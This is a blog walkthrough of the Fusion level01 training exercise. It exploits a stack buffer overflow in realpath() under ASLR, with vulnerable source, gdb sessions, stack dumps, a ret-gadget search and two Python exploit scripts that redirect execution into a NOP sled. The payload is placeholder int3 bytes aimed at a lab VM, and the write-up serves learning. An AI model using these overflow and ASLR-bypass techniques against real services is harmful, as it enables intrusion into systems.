exploit-exercises.com provides a variety of virtual machines, documentation and challenges that can be used to learn about a variety of computer security issues such as privilege escalation, vulnerability analysis, exploit development, debugging, reverse engineering, and general cyber security issues.

In this post I’m going to explain how I solved level01 of Fusion, a pretty simple stack-based buffer overflow vulnerability exercise with the added complexity of ASLR.
The binary is called “level01” and can be found inside the Fusion VM, path “/opt/fusion/bin”. Source code is provided and available here.

fusion@fusion:/opt/fusion/bin$ cat /proc/sys/kernel/randomize_va_space 
2

Most of the security mechanisms to prevent exploitation are disabled in this level :)

deimos:fusion claudio$ ~/tools/checksec.sh --file level01
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
No RELRO        No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   level01

The vulnerability can be easily spotted with a quick look at the source code. The function “realpath” in “fix_path” is copying a user-controlled string into a buffer of 128 bytes (without validating the string length).

#include "../common/common.c"    
 
int fix_path(char *path)
{
  char resolved[128];     <---------- destination buffer
   
  if(realpath(path, resolved) == NULL) return 1;     <---------- path is the user controllable value
  strcpy(path, resolved);
}
 
char *parse_http_request()
{
  char buffer[1024];
  char *path;
  char *q;
 
  // printf("[debug] buffer is at 0x%08x :-)\n", buffer); <img draggable="false" role="img" class="emoji" alt="😀" src="https://s0.wp.com/wp-content/mu-plugins/wpcom-smileys/twemoji/2/svg/1f600.svg">
 
  if(read(0, buffer, sizeof(buffer)) <= 0) errx(0, "Failed to read from remote host");
  if(memcmp(buffer, "GET ", 4) != 0) errx(0, "Not a GET request");
 
  path = &buffer[4];
  q = strchr(path, ' ');
  if(! q) errx(0, "No protocol version specified");
  *q++ = 0;
  if(strncmp(q, "HTTP/1.1", 8) != 0) errx(0, "Invalid protocol");
 
  fix_path(path);
 
  printf("trying to access %s\n", path);
 
  return path;
}
 
int main(int argc, char **argv, char **envp)
{
  int fd;
  char *p;
 
  background_process(NAME, UID, GID); 
  fd = serve_forever(PORT);
  set_io(fd);
 
  parse_http_request(); 
}

There is also an useful hint (from level00, which is identical, but no ASLR):

Storing your shellcode inside of the fix_path ‘resolved’ buffer might be a bad idea due to character restrictions due to realpath(). Instead, there is plenty of room after the HTTP/1.1 that you can use that will be ideal (and much larger).

We’ll keep that in mind.

Now, we know that due to ASLR, stack will be randomised in memory and we can’t “hardcode” stack addresses in the payload. Since PIE is not enabled (thus .text section not randomised) on the binary, the idea is to:

  1. look at registers for pointers to our shellcode
  2. reuse code found inside .text section of the binary to jump to the desired location
  3. execute shellcode

Let’s attach gdb to our process and set the debugger to follow child processes when fork is used.

fusion@fusion:/opt/fusion/bin$ ps aux | grep level01
20001     3005  0.0  0.0   1816   268 ?        Ss   15:18   0:00 /opt/fusion/bin/level01
fusion    3752  0.0  0.1   4184   800 pts/0    S+   16:40   0:00 grep --color=auto level01
fusion@fusion:/opt/fusion/bin$ sudo gdb
password for fusion: 
GNU gdb (Ubuntu/Linaro 7.3-0ubuntu2) 7.3-2011.08 Copyright (C) 2011 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "i686-linux-gnu". For bug reporting instructions, please see: <http://bugs.launchpad.net/gdb-linaro/>. 
(gdb) set follow-fork-mode child 
(gdb) attach 3005 
Attaching to process 3005 Reading symbols from /opt/fusion/bin/level01...done. Reading symbols from /lib/i386-linux-gnu/libc.so.6...Reading symbols from /usr/lib/debug/lib/i386-linux-gnu/libc-2.13.so...done. done. Loaded symbols for /lib/i386-linux-gnu/libc.so.6 Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done. Loaded symbols for /lib/ld-linux.so.2 0xb78b9424 in __kernel_vsyscall () 
(gdb) c Continuing.

The following script should overwrite EBP and EIP with custom values:

import socket
 
T = "172.16.165.130"   # IP of Fusion VM
P = 20001    # level01 is listening on port 20001
 
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((T,P))
 
EBP = "BBBB"
EIP = "CCCC"
path = 'A' * 135 + EBP + EIP
shellcode = "\xCC" * 500    
 
req = "GET {} HTTP/1.1 {}".format(path,shellcode)  # remember the hint?
 
s.send(req)
s.close()

and as expected, in gdb:

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 3796]
0x43434343 in ?? ()
 
(gdb) i r ebp eip
ebp            0x42424242   0x42424242
eip            0x43434343   0x43434343

The content of the stack:

(gdb) i r esp
esp            0xbfe7e450   0xbfe7e450
(gdb) x/80x $esp-80
0xbfe7e400: 0x41414141  0x41414141  0x41414141  0x41414141
0xbfe7e410: 0x41414141  0x41414141  0x41414141  0x41414141
0xbfe7e420: 0x41414141  0x41414141  0x41414141  0x41414141
0xbfe7e430: 0x41414141  0x41414141  0x41414141  0x41414141
0xbfe7e440: 0x41414141  0x41414141  0x42424242  0x43434343
0xbfe7e450: 0xbfe7e400  0x00000020  0x00000004  0x001761e4
0xbfe7e460: 0x001761e4  0x000027d8  0x20544547  0x41414141
0xbfe7e470: 0x41414141  0x41414141  0x41414141  0x41414141
0xbfe7e480: 0x41414141  0x41414141  0x41414141  0x41414141
0xbfe7e490: 0x41414141  0x41414141  0x41414141  0x41414141
0xbfe7e4a0: 0x41414141  0x41414141  0x41414141  0x41414141
0xbfe7e4b0: 0x41414141  0x41414141  0x41414141  0x41414141
0xbfe7e4c0: 0x41414141  0x41414141  0x41414141  0x41414141
0xbfe7e4d0: 0x41414141  0x41414141  0x41414141  0x41414141
0xbfe7e4e0: 0x41414141  0x41414141  0x41414141  0x41414141
0xbfe7e4f0: 0x42414141  0x43424242  0x00434343  0x50545448
0xbfe7e500: 0x312e312f  0xcccccc20  0xcccccccc  0xcccccccc
0xbfe7e510: 0xcccccccc  0xcccccccc  0xcccccccc  0xcccccccc
0xbfe7e520: 0xcccccccc  0xcccccccc  0xcccccccc  0xcccccccc
0xbfe7e530: 0xcccccccc  0xcccccccc  0xcccccccc  0xcccccccc
(gdb) 

Our “path” value is duplicated. The one on the top of the stack (lower addresses) is contained within the “resolved[128]” buffer, while the other in the “buffer[1024]” buffer. Near the memory address 0xbfe7e500 (0xbfe7e505 to be precise), the beginning of our shellcode.

The current value of ESP is 0xbfe7e450 and the value contained at this memory address is 0xbfe7e400 which points somewhere in the middle of our “path” string. Bingo!
We can find the location of a “ret” instruction inside level01 and use it to jump into our controlled string. There is, however, a problem. 0xbfe7e400 is pointing to the “reserved” buffer and we wanted to avoid that (read the hint at the beginning of the article).

A possible solution is to insert a short JMP forward instruction to the second buffer, where it will be taken again (remember that path is duplicated) and move us to our shellcode. The CPU will execute also other instructions on our second buffer, but it won’t be a problem (lots of ‘inc ecx’ which are safe).

Let’s find a ret instruction and adjust the python script (we’ll also insert some nops before the shellcode, since calculations are not precise):

fusion@fusion:/opt/fusion/bin$ objdump -d level01 | grep ret
 80488b9:   c3                      ret    
 8048bf4:   c3                      ret    
 8048c22:   c3                      ret    
 8048c64:   c3                      ret    
 8048c77:   c3                      ret    
 8048ca8:   c3                      ret    
 8048d53:   c3                      ret    
 8049068:   c3                      ret    
 8049222:   c3                      ret    
 804938e:   c3                      ret    
 8049457:   c3                      ret       <--- I'll use this, for no particular reason
 8049529:   c3                      ret    
 804960c:   c3                      ret    
 804967f:   c3                      ret    
 80496f2:   c3                      ret    
 80497e1:   c3                      ret    
 8049814:   c3                      ret    
 8049854:   c3                      ret    
 8049979:   c3                      ret    
 80499c1:   c3                      ret    
 8049a30:   c3                      ret    
 8049a40:   f3 c3                   repz ret 
 8049a45:   c3                      ret    
 8049a79:   c3                      ret    
 8049a95:   c3                      ret

Python:

import socket
import struct
 
T = "172.16.165.130"
P = 20001
 
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((T,P))
 
 
EBP = "BBBB"
EIP = "CCCC"
path = '/' + 'A'*111 + '\xeb\x70\x90\x90' + 'A' * 20 + EBP + EIP    # eb 0x70  jmp somewhere in the second buffer, then jmp again to our shellcode (path is duplicated in the stack)
 
shellcode = "\x90"*100 + "\xCC"*500
 
path = path[:-4] + struct.pack("I",0x8049457)   # replace the value of EIP
 
req = "GET {} HTTP/1.1 {}".format(path, shellcode)
 
s.send(req)
s.close()

and run…

Program received signal SIGTRAP, Trace/breakpoint trap.
[Switching to process 4487]
0xbfe7e56b in ?? ()
 
(gdb) x/20i $eip-10
   0xbfe7e561:  nop
   0xbfe7e562:  nop
   0xbfe7e563:  nop
   0xbfe7e564:  nop
   0xbfe7e565:  nop
   0xbfe7e566:  nop
   0xbfe7e567:  nop
   0xbfe7e568:  nop
   0xbfe7e569:  nop
   0xbfe7e56a:  int3   
=> 0xbfe7e56b:   int3   
   0xbfe7e56c:  int3   
   0xbfe7e56d:  int3   
   0xbfe7e56e:  int3   
   0xbfe7e56f:  int3   
   0xbfe7e570:  int3   
   0xbfe7e571:  int3   
   0xbfe7e572:  int3   
   0xbfe7e573:  int3   
   0xbfe7e574:  int3

It worked! We are exactly where we want to be.